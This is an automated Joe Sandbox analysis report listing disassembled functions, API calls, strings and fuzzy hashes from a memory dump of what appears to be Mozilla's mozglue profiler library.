Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 2d7c8495b31f32e4174814c090d4a96a15ebb3ae4335fe35eed4d00290288d1a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 91221875E006198FCB24CF98C890AADF7F2FF88304F588599D54AA7705D731A986CF90

Function 6CABAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0f069c6e60c2112ff6b436ed50d4bed04a5b7f8a7d735728f19fcf7c252587f
Instruction ID: 9bfbef678f2ababfe4ca277f591fbf241e9cc370381b4e555bba536e31fc7be6
Opcode Fuzzy Hash: f0f069c6e60c2112ff6b436ed50d4bed04a5b7f8a7d735728f19fcf7c252587f
Instruction Fuzzy Hash: 00F148716087455FD700CE28C8907AAB7EBAFC5318F188A2DE8D5A7781E774DCC98792

Function 6CA4C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 82c3e73d07c9b6f094c00b71a9d290d55948690ef91e6aeb079c87d4f90f8778
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: FDA1B371F0021A8FDB08CE69C8913AEB7F2AFC9358F188129D919E7781D7745C4A8BD0

Function 6CA87710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: fc9384ecdb5a50dd4581f09784ade87269c1dbdfefdb515f710376818027961d
Instruction ID: cf7f3a8e5e9aa92308c2e901744a780da47251d8ed6a18c1d70ab4b5f3fe0f9b
Opcode Fuzzy Hash: fc9384ecdb5a50dd4581f09784ade87269c1dbdfefdb515f710376818027961d
Instruction Fuzzy Hash: D1713D75E012198FCF18CF99D8905EDBBB2FF89314F68816EE415AB740D731A985CB90

Function 6CA858E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 53bcd03b1ff9395404f6631d68a03c8cfc357189b839442bf3ae7376c2b1cdfd
Instruction ID: 9ce6c5f1411944ad5476e36c537dc6ba7777e548f1138a6c66be777db7cf5c24
Opcode Fuzzy Hash: 53bcd03b1ff9395404f6631d68a03c8cfc357189b839442bf3ae7376c2b1cdfd
Instruction Fuzzy Hash: 3B816F75A012199FDB04CFADD8809EEFBF2FF89314F544269D811AB741D731A985CB90

Function 6CA8CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA5582D), ref: 6CA8CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA5582D), ref: 6CA8CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CABFE98,?,?,?,?,?,6CA5582D), ref: 6CA8CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA5582D), ref: 6CA8CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA5582D), ref: 6CA8CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA5582D), ref: 6CA8CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA5582D), ref: 6CA8CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CA8CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CA8CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CA8CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CA8CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CA8CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CA8CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CA8CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CA8CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CA8CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CA8CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CA8CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CA8CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CA8CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CA8CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CA8CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CA8CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CA8CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CA8CE8A

Strings

notimerresolutionchange, xrefs: 6CA8CE00
default, xrefs: 6CA8CC21
fileio, xrefs: 6CA8CC92
processcpu, xrefs: 6CA8CE6E
nativeallocations, xrefs: 6CA8CDA8
cpuallthreads, xrefs: 6CA8CE16
fileioall, xrefs: 6CA8CCA8
noiostacks, xrefs: 6CA8CCBE
audiocallbacktracing, xrefs: 6CA8CDD4
ipcmessages, xrefs: 6CA8CDBE
samplingallthreads, xrefs: 6CA8CE2C
Unrecognized feature "%s"., xrefs: 6CA8CEA0
power, xrefs: 6CA8CE84
stackwalk, xrefs: 6CA8CCF8
java, xrefs: 6CA8CC37
jsallocations, xrefs: 6CA8CD0E
screenshots, xrefs: 6CA8CCD4
preferencereads, xrefs: 6CA8CD92
unregisteredthreads, xrefs: 6CA8CE58
mainthreadio, xrefs: 6CA8CC7C
nostacksampling, xrefs: 6CA8CD7C
markersallthreads, xrefs: 6CA8CE42
seqstyle, xrefs: 6CA8CCE6
leaf, xrefs: 6CA8CC66

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: dbcbbf3816a760aa079b87ecceda43d56c9c095d3d696cb13931d9cb11882005
Instruction ID: 089d2eb5d953894ba20dfdb312bf948aeed7e51fd8a3719ba31ce625f7526a7c
Opcode Fuzzy Hash: dbcbbf3816a760aa079b87ecceda43d56c9c095d3d696cb13931d9cb11882005
Instruction Fuzzy Hash: 8F51B9D5A0722517FA0031252E10FAA540CFF5324EF58963AED0AB1E80FB14B6CD8EB7

Function 6CA547C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA54801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA54817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA5482D
__Init_thread_footer.LIBCMT ref: 6CA5484A

Part of subcall function 6CA7AB3F: EnterCriticalSection.KERNEL32(6CACE370,?,?,6CA43527,6CACF6CC,?,?,?,?,?,?,?,?,6CA43284), ref: 6CA7AB49
Part of subcall function 6CA7AB3F: LeaveCriticalSection.KERNEL32(6CACE370,?,6CA43527,6CACF6CC,?,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA7AB7C

GetCurrentThreadId.KERNEL32 ref: 6CA5485F
GetCurrentThreadId.KERNEL32 ref: 6CA5487E
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA5488B
free.MOZGLUE(?), ref: 6CA5493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA54956
free.MOZGLUE(00000000), ref: 6CA54960
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA5499A

Part of subcall function 6CA7AB89: EnterCriticalSection.KERNEL32(6CACE370,?,?,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284), ref: 6CA7AB94
Part of subcall function 6CA7AB89: LeaveCriticalSection.KERNEL32(6CACE370,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA7ABD1

free.MOZGLUE(?), ref: 6CA549C6
free.MOZGLUE(?), ref: 6CA549E9

Part of subcall function 6CA65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA65EDB
Part of subcall function 6CA65E90: memset.VCRUNTIME140(6CAA7765,000000E5,55CCCCCC), ref: 6CA65F27
Part of subcall function 6CA65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA65FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6CA54A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA54828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA54812
MOZ_PROFILER_SHUTDOWN, xrefs: 6CA54A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA547FC

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: fd8e3fae48137467eeadf04c198fb21c19f6d93ca813c4904adcb5cdd91e096e
Instruction ID: e7c2a1c688c05cd8d18d60c5e4acecc72da840944af15e15ee4070131a2ec91e
Opcode Fuzzy Hash: fd8e3fae48137467eeadf04c198fb21c19f6d93ca813c4904adcb5cdd91e096e
Instruction Fuzzy Hash: E5814774A00201CFDB08DF68D94875A3371BF42318F988229E91697B42D731E9F6CB96

Function 6CA54470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA54730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA544B2,6CACE21C,6CACF7F8), ref: 6CA5473E
Part of subcall function 6CA54730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA5474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA544BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA544D2
InitOnceExecuteOnce.KERNEL32(6CACF80C,6CA4F240,?,?), ref: 6CA5451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA5455C
LoadLibraryW.KERNEL32(?), ref: 6CA54592
InitializeCriticalSection.KERNEL32(6CACF770), ref: 6CA545A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA545AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA545BB
InitOnceExecuteOnce.KERNEL32(6CACF818,6CA4F240,?,?), ref: 6CA54612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA54636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA54644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA5466D
VerSetConditionMask.NTDLL ref: 6CA5469F
VerSetConditionMask.NTDLL ref: 6CA546AB
VerSetConditionMask.NTDLL ref: 6CA546B2
VerSetConditionMask.NTDLL ref: 6CA546B9
VerSetConditionMask.NTDLL ref: 6CA546C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA546CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA546F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA546FD

Strings

user32.dll, xrefs: 6CA54557, 6CA5463F
WRusr.dll, xrefs: 6CA544B5
l, xrefs: 6CA54578
kernel32.dll, xrefs: 6CA544CD
NativeNtBlockSet_Write, xrefs: 6CA546F7

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f5d3b24c17766e742770e7e782c83a47ac29df91aa8d9667c8d15447a2591197
Instruction ID: caecb92b7c055f90e284d2b9884477b79ac90b872d1151b4ae433e0df3402ae7
Opcode Fuzzy Hash: f5d3b24c17766e742770e7e782c83a47ac29df91aa8d9667c8d15447a2591197
Instruction Fuzzy Hash: CE6105B0A00349AFEB049F64DC49BA57BB8FF46708F44C55CE5049BA41D7718AE6CFA1

Function 6CA8E8B0 Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA87090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CA8B9F1,?), ref: 6CA87107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA8DCF5), ref: 6CA8E92D
GetCurrentThreadId.KERNEL32 ref: 6CA8EA4F
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8EA5C
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8EA80
GetCurrentThreadId.KERNEL32 ref: 6CA8EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA8DCF5), ref: 6CA8EA92
GetCurrentThreadId.KERNEL32 ref: 6CA8EB11
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CA8EB3C
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8EB5B

Part of subcall function 6CA85710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA8EB71), ref: 6CA857AB

Part of subcall function 6CA7CBE8: GetCurrentProcess.KERNEL32(?,6CA431A7), ref: 6CA7CBF1
Part of subcall function 6CA7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA431A7), ref: 6CA7CBFA

Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA54A68), ref: 6CA8945E
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA89470
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA89482
Part of subcall function 6CA89420: __Init_thread_footer.LIBCMT ref: 6CA8949F

GetCurrentThreadId.KERNEL32 ref: 6CA8EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CA8EBAC

Part of subcall function 6CA894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA894EE
Part of subcall function 6CA894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA89508

GetCurrentThreadId.KERNEL32 ref: 6CA8EBC1
AcquireSRWLockExclusive.KERNEL32(6CACF4B8,?,?,00000000), ref: 6CA8EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CA8EBE5
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8,00000000), ref: 6CA8EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA8EC46
CloseHandle.KERNEL32(?), ref: 6CA8EC55
free.MOZGLUE(00000000), ref: 6CA8EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CA8EBB4
XsgWlKPTjOWz00YnXW41wITipdmnsxFac0iIKuJNGNKAdkG6SI5cLaLxzaAqi2AecDsFyYsbwoLTRoyO+9rnYNYjjRtdEmi+DcImY2dqPuRwP8PdcD512lAmeER+pPWD4XS93PVWynqSrwGrBHzBF7JOnQTwknlTWXtDQk3PnUjb5UAgdOmVV3BVVtftMz4tqEou0p1bsw8YPOzgn0ZHtPyoGp6nJRR8+kOsGR4zco1AMPeHD9bvXtNTioIzB5BR0TBN, xrefs: 6CA8EADC
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CA8EA9B

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: XsgWlKPTjOWz00YnXW41wITipdmnsxFac0iIKuJNGNKAdkG6SI5cLaLxzaAqi2AecDsFyYsbwoLTRoyO+9rnYNYjjRtdEmi+DcImY2dqPuRwP8PdcD512lAmeER+pPWD4XS93PVWynqSrwGrBHzBF7JOnQTwknlTWXtDQk3PnUjb5UAgdOmVV3BVVtftMz4tqEou0p1bsw8YPOzgn0ZHtPyoGp6nJRR8+kOsGR4zco1AMPeHD9bvXtNTioIzB5BR0TBN$[I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1613279075
Opcode ID: c875b8fc15a7f1799312cdd1af000d30766e525290a58c48a374a060198aa69f
Instruction ID: 3f601fb1969343a0e43c3d2922ffe6b3b3dc558eaedd5c48044e646ad9b3e92d
Opcode Fuzzy Hash: c875b8fc15a7f1799312cdd1af000d30766e525290a58c48a374a060198aa69f
Instruction Fuzzy Hash: EDA19C35702305CFCB049F58D944BA6B7B5FF86708F14812DE9198BB40DB75998ACBE1

Function 6CA8F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA54A68), ref: 6CA8945E
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA89470
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA89482
Part of subcall function 6CA89420: __Init_thread_footer.LIBCMT ref: 6CA8949F

GetCurrentThreadId.KERNEL32 ref: 6CA8F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CA8F8F9

Part of subcall function 6CA56390: GetCurrentThreadId.KERNEL32 ref: 6CA563D0
Part of subcall function 6CA56390: AcquireSRWLockExclusive.KERNEL32 ref: 6CA563DF
Part of subcall function 6CA56390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA5640E

ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8F93A
GetCurrentThreadId.KERNEL32 ref: 6CA8F98A
GetCurrentThreadId.KERNEL32 ref: 6CA8F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA8F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA8F716

Part of subcall function 6CA894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA894EE
Part of subcall function 6CA894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA89508

Part of subcall function 6CA4B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA4B5E0

GetCurrentThreadId.KERNEL32 ref: 6CA8F739
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8F746
GetCurrentThreadId.KERNEL32 ref: 6CA8F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAC385B,00000002,?,?,?,?,?), ref: 6CA8F829
free.MOZGLUE(?,?,00000000,?), ref: 6CA8F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CA8F866
free.MOZGLUE(?), ref: 6CA8FA0C

Part of subcall function 6CA55E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA555E1), ref: 6CA55E8C
Part of subcall function 6CA55E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA55E9D
Part of subcall function 6CA55E60: GetCurrentThreadId.KERNEL32 ref: 6CA55EAB
Part of subcall function 6CA55E60: GetCurrentThreadId.KERNEL32 ref: 6CA55EB8
Part of subcall function 6CA55E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA55ECF
Part of subcall function 6CA55E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CA55F27
Part of subcall function 6CA55E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CA55F47
Part of subcall function 6CA55E60: GetCurrentProcess.KERNEL32 ref: 6CA55F53
Part of subcall function 6CA55E60: GetCurrentThread.KERNEL32 ref: 6CA55F5C
Part of subcall function 6CA55E60: GetCurrentProcess.KERNEL32 ref: 6CA55F66
Part of subcall function 6CA55E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA55F7E

free.MOZGLUE(?), ref: 6CA8F9C5
free.MOZGLUE(?), ref: 6CA8F9DA

Strings

Thread , xrefs: 6CA8F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6CA8F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CA8F9A6
" attempted to re-register as ", xrefs: 6CA8F858

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

